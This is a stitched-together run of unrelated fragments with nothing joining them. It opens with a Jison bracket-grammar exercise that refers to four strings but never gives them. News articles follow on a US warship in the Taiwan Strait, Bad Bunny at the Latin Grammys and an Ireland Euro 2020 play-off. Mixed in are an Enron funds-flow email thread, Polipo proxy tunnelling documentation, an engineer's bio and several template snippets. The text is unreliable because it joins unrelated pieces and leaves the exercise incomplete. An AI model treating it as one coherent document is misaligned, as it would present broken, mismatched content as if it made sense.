%lex %% \s+ { /* skip whitespace */ } "[" { return "LBRACKET"; } "]" { return "RBRACKET"; } <<EOF>> { return "EOF"; } . { return "INVALID"; } %start program /lex %% program : s "EOF" { return $1; } ; s : /* empty */ { $$ = 0; } | "LBRACKET" s "RBRACKET" s { $$ = 1 + $2 + $4; } ;
Now consider the following four strings:
First, convince yourself that all of these strings are in the language defined by this grammar. Second, answer the following question: what are the values returned by the interpreter when fed these strings in the order given above?
First, make sure to understand the grammar only: disregard the JavaScript annotations.
Once you understand the structure of the generated strings, try to correlate that structure with the single value that is computed at each step.


US warship sails through Taiwan Strait in message to China
by Lucas TomlinsonFor the first time since September, a U.S. warship has transited the Taiwan Strait.
The move by the USS Chancellorsville, a guided-missile cruiser, is likely to irk China, which views the island of Taiwan as a breakaway province.
"Guided-missile cruiser USS Chancellorsville (CG 62) conducted a routine Taiwan Strait transit Nov. 12 (local time) in accordance with international law. The ship's transit through the Taiwan Strait demonstrates the U.S. commitment to a free and open Indo-Pacific,” said Cmdr. Reann Mommsen, spokesperson for the U.S. 7th fleet.
“The U.S. Navy will continue to fly, sail and operate anywhere international law allows," he added.
The transit comes as the chairman of the Joint Chiefs of Staff Army Gen. Mark Milley visits Japan for a meeting with Prime Minister Shinzō Abe to help repair diplomatic relations with South Korea after a recent spat over intelligence sharing between Tokyo and Seoul.
"All interactions between [Chinese] ships and aircraft were professional and routine” during the transit, a Navy official told Fox News.
HONG KONG PROTESTS, VIOLENCE BRINGS CITY TO 'BRINK OF TOTAL BREAKDOWN', POLICE SAY
Defense Secretary Mark Esper is set to begin on Wednesday a four-nation Asia tour with stops in South Korea, Thailand, the Philippines and Vietnam, according to the Pentagon.
The Taiwan Strait transit was the ninth by the U.S. Navy this year.
NAVY SEAL EDDIE GALLAGHER'S FAMILY REACTS TO WORD OF POTENTIAL TRUMP ACTION TO RESTORE RANK
The last one occurred in late September, when the USS Antietam, another guided-missile cruiser conducted a similar transit.
That month Esper cautioned European nations from getting too cozy with China, which has been accused of intellectual property theft for decades and charged by the U.S. Justice Department to employ spies to steal state secrets in the United States, including sensitive military technology.
"The more dependent a country becomes on Chinese investment and trade, the more susceptible they are to coercion and retribution when they act outside of Beijing's wishes," Esper said in a speech at the Royal United Services Institute, a think tank in London.
Despite rising tensions in the Middle East, the Pentagon under Esper’s leadership has been attempting to pivot away from the region and toward China and Russia.
"China's technology theft for military gain is staggering," Esper said in London.
“Strategic competition with China will be the primary concern for U.S. national security for years to come,” Randall G. Schriver, assistant secretary of defense for Indo-Pacific Security Affairs, told reporters at the Pentagon in May.
“We certainly don't seek conflict with China and it doesn't preclude cooperation where our interests align,” Schriver added.
CLICK HERE FOR THE FOX NEWS APP
Asked about Taiwan Strait transits, Schriver said the strait is international water and “we transit it as we see fit.”
The transit by a US warship comes after Chinese authorities have cracked down on pro-Democracy protesters in Hong Kong, arresting more than 3,000 since June, according to the Associated Press.


The Raspberry Pi {{major_id}}'s information is as followed.
{{Congrats}}
| Sample Period | Sample Volum | Heart Beat Frequency |
|---|---|---|
| {{settings.short_term_sample_period}} | {{settings.short_term_volumn}} | {{settings.heart_beat_sample_period}} |
Input the new information if necessary


Bad Bunny Speaks Out About Latin Grammys Snubbing Reggaeton Artists
by Corey AtadBad Bunny had a thing or two to say about the Latin Grammys on Thursday night.
The Latin-music icon was nominated for only two awards in the Urban category, winning Best Urban Album for X 100pre.
Onstage to accept his award, Bad Bunny spoke out about the general lack of nominations for artists in the popular reggaeton genre.
“There’s so many things to say.  “But to all the musicians, to all the people who belong to the Academy: With all my respects, reggaeton is part of Latin culture, and it’s representing, just like lots of other music genres, Latinos around the world.”
He continued, “Also, I tell my colleagues from reggaeton, let’s make an effort; let’s bring back creativity and sincerity. The genre has become about views, numbers. Let’s turn things around and do genuine things and different things for the people.”
Bad Bunny also took the stage at the end of the show to perform his new single “Callaíta”.


Tracy, it looks like it is because of the estimate we used for the July cash
flow. I will keep looking at this and see if I can come up with a specific
item that caused this.
Carolyn Winowitch
PGE Accounting
503-464-8191
>>> Geaccone, Tracy 09/09/01 08:44AM >>>
Please let me know when you guys have an answer.
Thanks
-----Original Message-----
From: Giles, Valerie
Sent: Friday, August 31, 2001 1:27 PM
To: Geaccone, Tracy
Subject: Re: funds flow
Sorry Tracy, I can't come up with the reason behind the July change of $11
million in "Other, Net". Carolyn who completes the schedules had surgery
yesterday so will be out until Sept. 11. I can't find the source of the
amount that is hardcoded in the spreadsheet - she must have combined
something. One thought was TOLI, but it was flat in July. I have two other
people who might be able to help me on vacation this week as well.
>>> Geaccone, Tracy 08/30/01 04:24PM >>>
There was a big change in the Funds Flow number you submitted for the 3Q in
August from the 3Q you submitted last month. Can you tell me what the change
is due to?
Thanks
Tracy
***********
EDRM Enron Email Data Set has been produced in EML, PST and NSF format by ZL Technologies, Inc. This Data Set is licensed under a Creative Commons Attribution 3.0 United States License <http://creativecommons.org/licenses/by/3.0/us/> . To provide attribution, please cite to "ZL Technologies, Inc. (http://www.zlti.com)."
***********
California


Polipo is an HTTP proxy; it proxies HTTP traffic, and clients using other protocols should either establish a direct connection to the server or use an ad hoc proxy.
In many circumstances, however, it is not possible to establish a direct connection to the server, for example due to mis-configured firewalls or when trying to access the IPv4 Internet from an IPv6-only host. In such situations, it is possible to have Polipo behave as a tunnelling proxy — a proxy that merely forwards traffic between the client and the server without understanding it. Polipo enters tunnel mode when the client requests it by using the HTTP ‘CONNECT’ method.
Most web browsers will use this technique for HTTP over SSL if configured to use Polipo as their `https proxy'. More generally, the author has successfully used it to cross mis-configured firewalls using OpenSSH, rsync, Jabber, IRC, etc.
The variable tunnelAllowedPorts
specifies the set of ports that
Polipo will accept to tunnel traffic to. It defaults to allowing ssh,
HTTP, https, rsync, IMAP, imaps, POP, pops, Jabber, CVS and Git traffic.
It is possible to selectively block tunneled connections, see Forbidden Tunnels


- Email<EMAIL_ADDRESS>- Github: ferrarimarco
- Twitter: @ferrarimarco
- Linkedin: ferrarimark
- Stackoverflow: marco-ferrari
Hi, I’m Marco, your friendly neighborhood engineer!
Here’s my curriculum vitae (CV): English (ENG)
I currently work as a Cloud Solutions Architect at Google. My team takes care of solving the hardest technical issues, and first-of-a-kind problems. Then, we distill the knowledge we gathered so that other teams can benefit from what we learned.
You can find some examples of what I wrote in the Publications section.
My current focus is migrations (from other cloud providers and on premises environments) to Google Cloud, automation, DevOps, and Site Reliability Engineering (SRE).
Publications
- - Migrating VMs to containers with Migrate for Anthos - 2021
- - Supporting your migration with Istio Mesh Expansion (Reference guide, Tutorial) - 2021
- - Migrating to a multi-cluster GKE environment with Multi Cluster Ingress and Multi Cluster Service Discovery - 2021
- - Migrating containers to Google Cloud: Migrating to a multi-cluster GKE environment - 2021
- - Migrating VMs with Migrate for Compute Engine: Best practices - 2021
- - Designing a multi-tenant environment on Google Cloud - 2021
- - Migration to Google Cloud: Choosing your migration path - 2020
- - Migrating Containers to Google Cloud: Getting started - 2020
- - Migrate for Compute Engine: Migrating your virtual machines - 2020
- - Migrate for Compute Engine: Planning and building your foundation - 2020
- - Migrate for Compute Engine: Getting started - 2020
- - Migrating containers to Google Cloud: Migrating from OpenShift to Anthos - 2020
- - Building multi-architecture container images for IoT devices (Reference guide, Tutorial) - 2020
- - Migrating containers to Google Cloud: Migrating Kubernetes to GKE - 2020
- - Migration to Google Cloud: Migrating from manual deployments to automated, containerized deployments - 2020
- - Migration to Google Cloud: Optimizing your environment - 2020
- - Automatically bootstrapping Kubernetes Engine nodes with DaemonSets - 2020
- - IoT Asset Tracking with Pycom, Sigfox and Google Cloud - 2019
- - Migration to Google Cloud: getting started - 2019
- - Migration to Google Cloud: Assessing and discovering your workloads - 2019
- - Migration to Google Cloud: Deploying your workloads - 2019
- - Migrating a monolithic application to microservices on Kubernetes Engine - 2019
- - IBM Db2 Warehouse deployment strategies on Google Cloud (Reference guide (introduction), Reference guide (part 1), Reference guide (part 2), Reference guide (part 3), Reference guide (part 4)) - 2019


You are trying to revert to version {{ version }}. However, this version is invalid. Here is the error:
{{ details }}


Ireland fans must wait almost a month for confirmation of Bratislava play-off
FAI sources now say that it is more likely that the game will go ahead in Bratislava on March 26
by Michael ScullyIreland are expected to face Slovakia in Bratislava in their Euro 2020 play-off semi-final - but supporters must wait until December 20th for final confirmation.
Although Ireland faced Slovakia in Zilina a decade ago, and all their home games in this qualification campaign took place in Trnava, FAI sources now say that it is more likely that the game will go ahead in the capital, Bratislava, on March 26.
FAI officials met with their Slovakian counterparts in Nyon at lunchtime to discuss the venue and ticket allocation for visiting fans.
“Slovakia have intimated the game will take place in Bratislava but they have some final checks to make on the ground there before they can confirm it as the venue," said a FAI spokesperson.
“We have also opened talks with them on the allocation of tickets and will update our fans as soon as we can.
"We are guaranteed five percent of the tickets but we are negotiating for more.
“Tickets will be allocated to supporters based on away attendance records from the last two campaigns.
"We will announce the application process as soon as we know our allocation.”
FAI top brass will make it a priority to get hold of more tickets as there will be a big demand from travelling supporters.
Following today's UEFA draw in Nyon, if they beat Slovakia then Mick McCarthy's side will be away from home in the play-off final against Northern Ireland or Bosnia-Herzegovina on March 31 - just five days later.
“The only game that matters to us now is Slovakia,” said McCarthy after attending the draw.
“If we win the first game against Slovakia then I will fancy our chances anywhere else.
"We will have our analysis done on all three teams but our focus is on Slovakia first and getting ready for them in the New Year.
“We know what we have to do, we have to go there and win the game. Home advantage is just that but if we play as well as we did against Denmark then I will settle for that.
"We set the bar high on Monday night and that is the standard we will have to play at to win two games".
If you haven't already, be sure to like our Irish Mirror Sport and Irish Mirror GAA pages on Facebook and follow us on Twitter.
How to follow the Irish Mirror on social media
You can like our main Facebook page here.
Our Irish Mirror Sports page - which brings you all your Irish and UK sports news - can be found here.
You can also check out our Irish Mirror GAA sports page.
The Irish Mirror Twitter account is @IrishMirror while our sports account is @MirrorSportIE.
Our Instagram account can be found here.


{% extends "app/layout.html" %} {% block content %} {% if errors %}
| Code | ErrorCode | Message |
|---|---|---|
| {{ error.Code }} | {{ error.ErrorCode }} | {{ error.Message }} |
| Id | UserName | First Name | Last Name |
|---|---|---|---|
| {{ bingadsuser.Id }} | {{ bingadsuser.UserName }} | {{ bingadsuser.Name.FirstName }} | {{ bingadsuser.Name.LastName }} |
Click here to revoke access to your Bing Ads accounts. You will then be able to login with a different user.
You are logged into the application without access to any Bing Ads accounts. Please sign in with a Bing Ads user.
If you don't have a Bing Ads user, you can go to the Bing Ads Sign Up page. New customers are required to sign up for Bing Ads with a Microsoft Account, and to manage those accounts you must use OAuth. Existing users with legacy Bing Ads credentials may continue to specify the UserName and Password header elements. In future versions of the API, Bing Ads will transition exclusively to Microsoft Account authentication.
Before you can provide your Bing Ads user credentials and access Bing Ads data, please login or sign up for access to this web application. For information about how to build a web application like this one, please see the sections below.
The Bing Ads Python Software Development Kit (SDK) Version 9.3 enhances the experience of developing Bing Ads applications with any Python language. The SDK includes a proxy to all Bing Ads API web services, provides a bulk file reader and writer, and abstracts low level details of authentication with OAuth.
Django is a free web framework for building great Web sites and Web applications using HTML, CSS and JavaScript.
You can easily publish to Microsoft Azure using Python Tools for Visual Studio. Find out how you can host your application using a free trial today.
Microsoft Account Login
Click here to authenticate your Microsoft Account in Production.
Authenticate Microsoft Account »


title = "home" url = "/" layout = "default" is_hidden = 0 ==
So...I am a proud father of two. Husband. And I don't know what the hell I am doing right now. I mean I kind of do...
Since both of my kids are older than 11, I am nothing more than an errand boy and taxi driver, someone who opens things, and an ATM. I have recently begun turning social anxiety and complacency into adventure and commitment. The adventure part is really about finding the next journey...the commitment was just needing to start something and accept failure, because failing is okay and starting is the hardest part.
On a regular basis, I do technology stuff. I am a developer, both web and large enterprise systems, a systems engineer, a software development manager, a data manager, and a solutions architect (CTO).